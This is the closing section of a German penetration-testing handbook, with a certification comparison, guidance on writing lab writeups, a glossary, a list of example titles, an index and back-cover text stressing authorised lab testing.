CompTIA PenTest+	Multiple Choice + Performance-basiert	ca. 2,5 Stunden	mittel (300–500 €)
CEH	Multiple Choice	ca. 4 Stunden	mittel bis hoch (zzgl. Kurskosten)
OSCP	Vollständig praktisch, 24-Stunden-Prüfung + Bericht	24 + 24 Stunden Bericht	hoch (inkl. Kursmaterial)

> **Gut zu wissen**
>
> Kosten und genaue Prüfungsformate ändern sich regelmäßig. Prüfe vor einer Anmeldung immer die aktuelle Information direkt beim jeweiligen Zertifizierungsanbieter.

10.6 Eigene Writeups veröffentlichen

Nach Abschluss einer HackTheBox- oder TryHackMe-Maschine (Übung 18) ist das Verfassen eines eigenen **Writeups** – einer schriftlichen Lösungsdokumentation – eine bewährte Methode, um den Lernerfolg zu festigen und ein öffentlich sichtbares Portfolio aufzubauen.

Beispiel 10.1: Grobstruktur eines guten Writeups

```
1. Kurzbeschreibung der Maschine (Schwierigkeitsgrad, Betriebssystem)
2. Reconnaissance-Schritte mit Befehlen und Ergebnissen
3. Gefundene Schwachstelle(n) und genutzter Ausnutzungsweg
4. Privilegieneskalation Schritt für Schritt
5. Gelernte Konzepte und Querverweise auf ähnliche CVEs/Techniken
```

LEGAL – nur mit Auftrag/Einwilligung

Viele Plattformen erlauben Writeups erst nach Ablauf einer Sperrfrist oder nur für bereits "retired" (zurückgezogene) Maschinen. Prüfe vor der Veröffentlichung die Nutzungsbedingungen der jeweiligen Plattform.

Glossar

Angriffsfläche (Attack Surface) – Summe aller Punkte, über die ein System angegriffen werden könnte. **Banner Grabbing** – Auslesen von Dienst- und Versionsinformationen direkt aus der Serverantwort. **Black Hat** – Angreifer, der ohne Autorisierung zum eigenen Vorteil oder zur Schädigung in Systeme eindringt. **Bug Bounty** – Programm, das Finder:innen von Schwachstellen gegen Prämie zur Meldung einlädt. **CSRF (Cross-Site Request Forgery)** – Angriff, der automatisch mitgesendete Session-Cookies ausnutzt, um Aktionen im Namen des Opfers auszulösen. **CVE (Common Vulnerabilities and Exposures)** – eindeutige, öffentliche Kennung einer bekannten Schwachstelle. **CVSS (Common Vulnerability Scoring System)** – Bewertungssystem für den Schweregrad einer Schwachstelle (0.0–10.0). **DVWA (Damn Vulnerable Web Application)** – absichtlich verwundbare Webanwendung zu Lernzwecken. **Enumeration** – systematisches Extrahieren konkreter Details (Benutzer, Freigaben) nach dem Scanning. **Exploit** – Code oder Technik, die eine konkrete Schwachstelle gezielt ausnutzt. **Grey Hat** – testet ohne Auftrag, oft in guter Absicht, aber dennoch unautorisiert und damit illegal. **Lateral Movement** – Bewegung von einem kompromittierten System zu weiteren Systemen im selben Netzwerk. **Meterpreter** – fortgeschrittener, speicherresidenter Metasploit-Payload mit vielen Post-Exploitation-Funktionen. **Nmap** – Standardwerkzeug für Host- und Portscans. **OSINT (Open Source Intelligence)** – Informationssammlung ausschließlich aus öffentlich zugänglichen Quellen. **OWASP Top 10** – Referenzliste der häufigsten Schwachstellenklassen in Webanwendungen. **Payload** – Code, der nach erfolgreichem Exploit auf dem Zielsystem ausgeführt wird. **Pentest (Penetrationstest)** – autorisierte, simulierte Angriffsprüfung gegen definierte Zielsysteme. **Privilegieneskalation (Privilege Escalation)** – Übergang von eingeschränkten zu weitreichenderen Systemrechten. **Red Team** – simuliert einen realistischen, oft verdeckten Angriff über einen längeren Zeitraum. **Responsible Disclosure** – koordinierte, vertrauliche Meldung einer Schwachstelle mit angemessener Frist zur Behebung. **Rules of Engagement** – vertraglich festgelegte Regeln eines Pentests (Scope, Zeitfenster, erlaubte Methoden). **Scope** – vertraglich definierter Umfang eines autorisierten Tests. **SQL-Injection (SQLi)** – Einschleusen von Datenbankbefehlen über ungeprüfte Benutzereingaben. **Whois** – öffentliche Abfrage von Domain-Registrierungsinformationen. **White Hat** – Sicherheitsfachkraft, die ausschließlich mit schriftlicher Autorisierung testet. **XSS (Cross-Site Scripting)** – Einschleusen von Schadcode, der im Browser anderer Nutzer:innen ausgeführt wird.

Zusammenfassung

Zusammenfassung

- eJPT und CompTIA PenTest+ eignen sich als erste praxisnahe Zertifizierung, OSCP gilt als anspruchsvoller Branchenstandard für Fortgeschrittene.
- TryHackMe, HackTheBox, PortSwigger Academy, OverTheWire und VulnHub decken alle Lernstufen legal ab.
- CCC, OWASP-Chapter und Bug-Bounty-Plattformen bieten Austausch und reale, dokumentierte Praxisbeispiele.
- Ein strukturierter Lernpfad führt von Grundlagen über Web- und Systemsicherheit zu Zertifizierung und Spezialisierung.
- Zertifizierungen unterscheiden sich stark in Prüfungsform, Dauer und Kosten – von praxisnahem eJPT bis zur anspruchsvollen OSCP.
- Eigene Writeups zu abgeschlossenen Übungsmaschinen festigen den Lernerfolg und bauen ein öffentlich sichtbares Portfolio auf.

Verzeichnis der Befehls- und Codebeispiele

Beispiel 1.1: Der Pentest-Kreislauf als Kurzformel … Seite 9
Beispiel 1.2: Ablauf einer Responsible Disclosure (schematisch) … Seite 10
Beispiel 1.3: Anonymisierter Projektverlauf (Kurzfassung) … Seite 11
Beispiel 2.1: TCP-Drei-Wege-Handshake (schematisch) … Seite 13
Beispiel 2.2: Eine einfache HTTP-Anfrage und -Antwort lesen … Seite 13
Beispiel 2.3: Rechte unter Linux und Windows gegenüberstellen … Seite 14
Beispiel 2.4: TLS-Konfiguration eines Servers grob prüfen … Seite 14
Beispiel 2.5: Snapshot-Konzept in VirtualBox … Seite 15
Beispiel 2.6: Wie eine Firewall einen Portscan beeinflusst … Seite 16
Beispiel 3.1: Whois-Abfrage einer Testdomain … Seite 18
Beispiel 3.2: DNS-Einträge mit dig abfragen … Seite 18
Beispiel 3.3: theHarvester gegen eine Testdomain … Seite 18
Beispiel 3.4: Shodan-Suche (Konzept) … Seite 18
Beispiel 3.5: Metadaten eines öffentlichen PDF-Dokuments auslesen … Seite 19
Beispiel 3.6: Recon-Protokoll (Auszug) … Seite 19
Beispiel 3.7: Typischer Fund durch Google Dorking (Konzept) … Seite 20
Beispiel 3.8: Eine einfache, zielspezifische Wortliste mit cewl erzeugen … Seite 20
Beispiel 3.9: Technologie-Erkennung mit Wappalyzer/whatweb … Seite 20
Beispiel 4.1: Einfacher Nmap-Scan gegen ein Laborziel … Seite 22
Beispiel 4.2: Service- und Versionserkennung … Seite 23
Beispiel 4.3: Umfassenderer Scan mit Timing-Kontrolle … Seite 23
Beispiel 4.4: Banner Grabbing mit netcat … Seite 23
Beispiel 4.4b: Banner Grabbing bei HTTP – vollständige Anfrage … Seite 23
Beispiel 4.5: Typischer OpenVAS-Scanbericht (Auszug, Konzept) … Seite 24
Beispiel 4.6: SMB-Freigaben eines Windows-Laborziels auflisten … Seite 24
Beispiel 4.7: Verzeichnis-Enumeration mit gobuster … Seite 24
Beispiel 4.8: Subdomain-Enumeration mit gobuster … Seite 24
Beispiel 4.9: Nikto gegen ein Laborziel … Seite 25
Beispiel 5.1: Eine CVE-Kurzbeschreibung lesen (Konzept) … Seite 28
Beispiel 5.2: Metasploit-Konsole starten und ein Modul suchen … Seite 28
Beispiel 5.3: Ein Modul auswählen und konfigurieren … Seite 28
Beispiel 5.4: Burp Suite in Grundzügen einrichten (Konzept) … Seite 29
Beispiel 5.5: Eine abgefangene Anfrage im Repeater verändern … Seite 29
Beispiel 5.6: Grundprinzip eines Pufferüberlaufs (stark vereinfacht) … Seite 30
Beispiel 5.7: Eine Reverse Shell in Metasploit konfigurieren (Konzept) … Seite 30
Beispiel 5.8: Cluster-Bomb-Angriff gegen ein Login-Formular (Konzept) … Seite 31
Beispiel 6.1: Verwundbarer Code (vereinfacht, PHP) … Seite 33
Beispiel 6.2: DVWA (Low Security) – Eingabe testen … Seite 33
Beispiel 6.3: UNION-basierte SQL-Injection zur Datenextraktion … Seite 33
Beispiel 6.4: Sichere Variante mit Prepared Statement (PHP/PDO) … Seite 34
Beispiel 6.5: Reflected XSS in DVWA nachvollziehen … Seite 34
Beispiel 6.6: Stored XSS in einem Gästebuch-Formular … Seite 34
Beispiel 6.7: CSRF-Angriffsseite (Konzept, nur im Labor) … Seite 34
Beispiel 6.8: Brute-Force-Grundlagen mit Hydra gegen ein Laborlogin … Seite 35
Beispiel 6.9: IDOR in DVWA/ähnlichen Anwendungen (Konzept) … Seite 36
Beispiel 6.10: Unsicherer Datei-Upload (Konzept, DVWA-ähnlich) … Seite 36
Beispiel 6.11: Excessive Data Exposure (Konzept) … Seite 37
Beispiel 7.1: Passwort-Hashes mit Hashcat knacken (Laborbeispiel) … Seite 38
Beispiel 7.2: Typische PrivEsc-Prüfungen unter Linux … Seite 39
Beispiel 7.3: Ausnutzung einer fehlkonfigurierten sudo-Regel (Labor) … Seite 39

Beispiel 7.4: Typische PrivEsc-Prüfungen unter Windows (PowerShell) … Seite 39
Beispiel 7.5: Lateral Movement in einem Mini-AD-Labor (Konzept) … Seite 39
Beispiel 7.6: Typische Post-Exploitation-Schritte mit Meterpreter (Konzept) … Seite 40
Beispiel 7.7: Pivoting mit Metasploit (Konzept) … Seite 41
Beispiel 7.8: Passwort-Hashes mit John the Ripper knacken (Labor) … Seite 41
Beispiel 7.9: BloodHound-Datensammlung im Mini-AD-Lab (Konzept) … Seite 42
Beispiel 8.1: Typische Gliederung eines Pentest-Berichts … Seite 43
Beispiel 8.2: Struktur eines einzelnen Befunds … Seite 43
Beispiel 8.3: CVSS-Vektor lesen … Seite 44
Beispiel 8.4: Befundübersicht nach Kategorie (Auszug) … Seite 45
Checkliste 8.5: Retest-Vorbereitung … Seite 45
Beispiel 8.6: Vollständiger Befundeintrag im Kontext (Auszug aus einem Musterbericht) … Seite 46
Beispiel 9.1: Netzwerktopologie der zwei Profile (Konzept) … Seite 48
Beispiel 9.2: VirtualBox installieren (Windows/Linux/macOS) … Seite 49
Beispiel 9.3: Kali Linux importieren und vorbereiten (Profil A) … Seite 50
Beispiel 9.4: Metasploitable 2 importieren … Seite 50
Beispiel 9.5: DVWA per Docker in der Kali-VM starten … Seite 50
Checkliste 9.0: Isolation vor dem Testbetrieb prüfen … Seite 50
Beispiel 9.6: Routing und Erreichbarkeit prüfen … Seite 51
Beispiel 9.7: Zugang zu Online-Laboren einrichten … Seite 51
Checkliste 9.1: Vor jedem Test … Seite 51
Beispiel 10.1: Grobstruktur eines guten Writeups … Seite 61

Index

Banner Grabbing – 23, 54, 61
Black Hat – 8, 61
Bug Bounty – 10, 61
Burp Suite – 29, 52
CEH – 5
CSRF – 34, 35, 55, 61
CVE – 20, 24, 27, 28, 61
CVSS – 27, 44, 61
DVWA – 33, 34, 36, 50, 52, 55, 56, 61
eJPT – 5
Enumeration – 8, 24, 61
Exploit – 9, 11, 25, 27, 28, 29, 31, 39
Grey Hat – 8, 61
HackTheBox – 51, 57, 60
Hashcat – 38, 56
Hydra – 35, 56
Lateral Movement – 39, 57, 61
Metasploit – 9, 28, 29, 30, 41, 50, 53, 54
Metasploitable – 50, 53, 54
Meterpreter – 40, 61
Nmap – 9, 22, 53, 61
OSCP – 5
OSINT – 18, 19, 20, 61
OWASP Top 10 – 27, 45, 61
Payload – 28, 30, 31, 61
Pentest – 8, 9, 10, 11, 13, 15, 29, 31
Privilegieneskalation – 39, 56, 61
Proof of Concept – 46
Red Team – 61
Responsible Disclosure – 10, 61
Rules of Engagement – 8, 10, 61
Scope – 10, 40, 61
Shodan – 18, 53
SQL-Injection – 33, 55, 61
sudo – 39
theHarvester – 18, 52
TryHackMe – 51, 56, 57, 60
White Hat – 8, 61
Whois – 18, 52, 61
XSS – 34, 55, 61

WHITE HACKING DAS PRAXISHANDBUCH

Schwachstellen finden, bevor es andere tun

Dieses Handbuch führt von den rechtlichen Grundlagen über Reconnaissance, Scanning und Exploitation bis zu Reporting und CVSS-Bewertung. Du lernst, wie Penetration Tester arbeiten: systematisch, dokumentiert und ausschließlich im Rahmen klarer Aufträge. Alle Techniken werden an legalen Laborumgebungen wie DVWA, Metasploitable, HackTheBox und TryHackMe geübt.

DAS ERWARTET DICH

- Rechtlicher Rahmen: StGB §§ 202a-202c, DSGVO, Responsible Disclosure, Bug Bounty
- Reconnaissance, OSINT, Scanning mit Nmap, Schwachstellenscanner und Enumeration
- Exploitation-Grundlagen: OWASP Top 10, Metasploit, Burp Suite
- Web-Hacking (SQLi, XSS, CSRF) und System-Hacking (PrivEsc, Lateral Movement) im Labor
- 18 geführte Übungen, CVSS-Reporting, Glossar, Zertifizierungs-Überblick (eJPT, OSCP, CEH)

Für wen?

IT-Administrator:innen, Studierende, angehende Penetration Tester und Entwickler:innen mit IT-Grundkenntnissen. Ausschließlich für legale, autorisierte Tests und eigene Laborumgebungen.

65 Seiten · Stand Oktober 2026 · Für IT-Administrator:innen, Studierende und angehende Pentester

Hinweis: Keine Rechts- oder Anlageberatung. Marken- und Produktnamen gehören ihren jeweiligen Inhabern.